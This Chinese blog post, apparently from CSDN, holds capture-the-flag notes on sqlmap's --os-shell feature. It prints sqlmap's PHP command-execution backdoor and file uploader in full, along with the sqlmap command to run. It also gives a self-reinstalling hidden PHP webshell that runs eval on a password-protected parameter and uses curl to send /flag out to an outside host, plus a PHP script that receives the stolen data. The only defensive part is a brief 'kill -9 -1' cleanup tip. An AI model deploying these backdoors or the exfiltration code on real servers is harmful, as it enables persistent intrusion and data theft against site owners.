sqlmap

sqlmap

Sqlmap使用详解 - 安全客,安全资讯平台 (anquanke.com)

img

路径是绝对路径,且可以写入文件

sqlmap --os-shell会生成两个php文件
一个是文件上传,一个是后门文件。。。

//后门
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
    
    
//文件上传
<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/> <input type=submit name=upload value=upload></form>";}?>

img

img

但是这个后门貌似不能直接蚁剑直连

在这里插入图片描述

另一个文件上传的可以上传自己的🐎儿

img

img

上次awd的ezsql也可以用上

img

$message_id可控

直接

sqlmap -u "url?message_id=1"  --os-shell 

一把梭

网站目录如果是常规的选1自动

如果不是常见的就选2自己写入路径

img

然后上传自己的🐎开始搞事情

一个不死马

<?php 
ignore_user_abort(true);
//ignore_user_abort — 设置客户端断开连接时是否中断脚本的执行
//可选。如果设置为 true,则忽略与用户的断开,如果设置为 false,会导致脚本停止运行。
//PHP 以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 true,否则脚本输出任意字符时会被中止。

set_time_limit(0);
//set_time_limit — 设置脚本最大执行时间,如果超过了此设置,脚本返回一个致命的错误。默认值为30秒

unlink(__FILE__);
//删除本身

$file = './.index.php';
$code = '<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){@eval($_POST[a]);system(\'curl "http://ip/readflag.php" -d "str=$(cat /flag)"\');} ?>';
//pass=Sn3rtf4ck 马儿用法:.index.php	POST:pass=Sn3rtf4ck&a=执行命令 //执行同时发送flag,根据实际情况改

while (1){
	file_put_contents($file,$code);//写入马
	usleep(5000);//usleep — 以指定的微秒数延迟执行//1微秒(micro second)是百万分之一秒。
}

?>
<?php
$myfile = fopen("flag.txt", "a+") or die("Unable to open file!");
$str = $_POST['str'];
fwrite($myfile, $str."\n");
fclose($myfile);
?>

kill -9 -1

杀全部进程,杀掉不死马

所犯错误

没有先down机,被种马,在xftp里面看不见被种马

前缀有 ‘.’ ls看不见
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值